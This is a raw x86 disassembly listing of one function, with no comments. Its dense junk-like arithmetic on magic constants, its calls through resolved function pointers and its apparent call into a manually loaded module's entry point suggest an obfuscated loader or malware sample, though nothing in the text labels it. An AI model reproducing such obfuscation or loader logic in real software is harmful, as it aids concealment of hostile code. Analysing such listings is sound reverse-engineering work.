mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x181f
jl 0x10016cdb
mov ecx, dword [ebp - 0x274]
add ecx, 0x6f
mov edx, dword [ebp - 0x274]
mov eax, dword [ebp - 0x3ac]
lea edx, [edx + eax + 0x119]
cmp ecx, edx
je 0x10017190
mov eax, dword [0x1007f1bc]
xor ecx, ecx
xor eax, 0xb876a477
xor ecx, 0x8eee
mov dword [0x1007f130], eax
mov dword [0x1007f134], ecx
mov edx, 0xff01
mov word [0x1007f1b8], dx
push 0
movzx eax, word [0x1007f1bc]
push eax
movzx ecx, word [0x1007f154]
push ecx
movzx edx, word [ebp - 0x24]
push edx
push 0x18
call fcn.10036740
add esp, 0x14
cwde
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x5d0], edx
mov eax, dword [ebp - 0x5d4]
or eax, dword [ebp - 0x5d0]
je 0x10016dfc
movzx eax, byte [0x1007f027]
xor eax, dword [ebp - 0x64]
sub eax, dword [0x1007f144]
cdq
mov ecx, dword [0x1007f18c]
push ecx
mov ecx, dword [0x1007f188]
push ecx
push edx
push eax
call fcn.1005a1b0
mov dword [0x1007f130], eax
mov dword [0x1007f134], edx
mov eax, dword [ebp - 0x54]
add eax, 0x70
cdq
mov dword [0x1007f178], eax
mov dword [0x1007f17c], edx
mov edx, dword [ebp - 0x8c]
push edx
call fcn.10003710
add esp, 4
test eax, eax
jne 0x10016e99
movsx eax, word [ebp - 0x18]
sub eax, 0x166aad72
mov byte [ebp - 0x13], al
mov ecx, dword [0x1007f138]
mov edx, dword [0x1007f13c]
mov dword [ebp - 0x660], edx
xor ecx, 0xaea85e57
mov byte [ebp - 0x11], cl
mov ax, word [0x1007f1b0]
mov word [0x1007f15c], ax
push 0x8000
push 0
mov ecx, dword [ebp - 0x8c]
push ecx
push 0
push 0
call fcn.10001370
add esp, 8
call eax
mov edx, dword [0x1007f154]
add edx, 0x7a
xor eax, eax
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], eax
mov eax, dword [0x1007f1b0]
mov edx, dword [0x1007f1b4]
mov cl, 6
call fcn.1005a210
mov byte [0x1007f026], al
mov dword [ebp - 0x8c], 0
jmp 0x10017190
cmp dword [0x1007f1bc], 0
jne 0x10016eae
mov dword [ebp - 0x278], 1
jmp 0x10016eb8
mov dword [ebp - 0x278], 0
movzx ecx, byte [ebp - 0x13]
test ecx, ecx
jne 0x10016ed4
xor edx, edx
mov dword [ebp - 0x370], 1
mov dword [ebp - 0x36c], edx
jmp 0x10016edf
xorps xmm0, xmm0
movlpd qword [ebp - 0x370], xmm0
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x24]
cdq
mov esi, eax
mov edi, edx
mov eax, dword [0x1007f138]
mov ecx, dword [0x1007f13c]
mov edx, dword [ebp - 0x36c]
push edx
mov edx, dword [ebp - 0x370]
push edx
push ecx
push eax
call fcn.1005a1b0
sub esi, eax
sbb edi, edx
mov dword [0x1007f1d0], esi
mov dword [0x1007f1d4], edi
mov byte [ebp - 0x11], 0x14
mov byte [0x1007f026], 0x73
mov ecx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x74]
mov eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x5d8], esi
mov dword [ebp - 0x5e4], eax
mov dword [ebp - 0x5e0], edx
mov edx, dword [ebp - 0x5d8]
cmp edx, dword [ebp - 0x5e0]
jg 0x10016f74
jl 0x10016f68
mov eax, dword [ebp - 0x5dc]
cmp eax, dword [ebp - 0x5e4]
ja 0x10016f74
mov dword [ebp - 0x27c], 1
jmp 0x10016f7e
mov dword [ebp - 0x27c], 0
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x5e8], edx
cmp dword [ebp - 0x5e8], 0
jg 0x10016fb0
jl 0x10016fa4
cmp dword [ebp - 0x5ec], 0x1b
ja 0x10016fb0
mov dword [ebp - 0x280], 1
jmp 0x10016fba
mov dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x27c]
cmp eax, dword [ebp - 0x280]
je 0x10017100
push 0x76
movzx ecx, byte [ebp - 0x88]
push ecx
call fcn.10035170
add esp, 8
movsx eax, al
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x5c]
je 0x10017029
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0
je 0x10017024
mov eax, dword [ebp - 0x284]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
mov dword [ebp - 0x664], eax
call dword [sym.imp.USER32.dll_EndMenu]
mov dword [ebp - 0x668], eax
jmp 0x100170fe
movzx ecx, byte [0x1007f04e]
cmp ecx, dword [ebp - 0x68]
jge 0x10017041
mov dword [ebp - 0x288], 1
jmp 0x1001704b
mov dword [ebp - 0x288], 0
movzx edx, word [0x1007f1a0]
cmp edx, dword [0x1007f170]
jae 0x10017066
mov dword [ebp - 0x28c], 1
jmp 0x10017070
mov dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0x288]
sub eax, dword [ebp - 0x28c]
je 0x100170b3
mov dword [0x1007f1bc], 0xb5743748
mov ecx, dword [ebp - 0x54]
imul ecx, dword [ebp - 0x64]
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x34]
add edx, dword [0x1007f154]
xor eax, eax
push 0xae0d9
push 0x605accda
push eax
push edx
call fcn.1005a1b0
mov byte [ebp - 0x12], al
jmp 0x100170fe
movzx ecx, word [0x1007f1b8]
test ecx, ecx
jne 0x100170fe
cmp dword [ebp - 0x68], 0
jne 0x100170fe
push 0
push 0x5b
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
call fcn.1005a1b0
mov word [ebp - 0x58], ax
mov ecx, dword [0x1007f1b0]
add ecx, 0x1d
mov dword [0x1007f140], ecx
push 0
push 0x1a
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x60]
push eax
call fcn.1005a1b0
mov dword [0x1007f158], eax
jmp 0x10017131
movzx ecx, word [0x1007f14c]
imul ecx, dword [ebp - 0x50]
mov dword [ebp - 0x50], ecx
movzx eax, word [0x1007f168]
xor eax, dword [0x1007f1a4]
cdq
push edx
push eax
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x60]
push eax
call fcn.1005a1b0
mov word [0x1007f148], ax
movzx ecx, word [ebp - 0x82e]
and ecx, 0x2000
jne 0x10017169
mov edx, dword [ebp - 0x88]
add edx, 0xabb0
mov dword [ebp - 0x30], edx
movsx eax, word [ebp - 0x20]
sub eax, dword [ebp - 0x50]
mov word [ebp - 0x20], ax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.1001d210
add esp, 4
mov edx, dword [ebp - 0x8c]
push edx
call fcn.1000bb50
add esp, 4
mov eax, dword [ebp - 0x81c]
add eax, dword [ebp - 0x8c]
push 0
push 1
push dword [ebp - 0x8c]
call eax
push 0x94
push 0x79
push 0
movzx eax, word [ebp - 0x58]
push eax
movsx cx, byte [ebp - 0x12]
movzx edx, cx
push edx
movzx eax, word [0x1007f168]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.10035820
add esp, 0x1c
mov byte [0x1007f026], al
movzx edx, byte [0x1007f026]
test edx, edx
je 0x1001721c
mov eax, dword [0x1007f178]
mov edx, dword [0x1007f17c]
mov cl, 7
call fcn.1005a210
mov word [0x1007f128], ax
mov eax, dword [0x1007f1a4]
cdq
mov dword [0x1007f1c0], eax
mov dword [0x1007f1c4], edx
mov eax, 8
imul ecx, eax, 0xdcad
mov edx, dword [ebp - 0x44]
add edx, dword [ecx + 0x101db520]
mov eax, dword [ebp - 0x40]
adc eax, dword [ecx + 0x101db524]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
jmp 0x1001729f
movzx ecx, word [0x1007f1b8]
test ecx, ecx
jne 0x1001723b
xor edx, edx
mov dword [ebp - 0x378], 1
mov dword [ebp - 0x374], edx
jmp 0x10017246
xorps xmm0, xmm0
movlpd qword [ebp - 0x378], xmm0
mov eax, dword [0x1007f17c]
cmp eax, dword [ebp - 0x374]
jg 0x1001726f
jl 0x10017263
mov ecx, dword [0x1007f178]
cmp ecx, dword [ebp - 0x378]
ja 0x1001726f
mov dword [ebp - 0x290], 1
jmp 0x10017279
mov dword [ebp - 0x290], 0
movzx edx, word [0x1007f128]
add edx, dword [ebp - 0x290]
je 0x1001729f
mov eax, dword [0x1007f180]
sub eax, dword [0x1007f1c0]
mov dword [0x1007f180], eax
mov dword [ebp - 0x34], 0xfb2ad53d
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4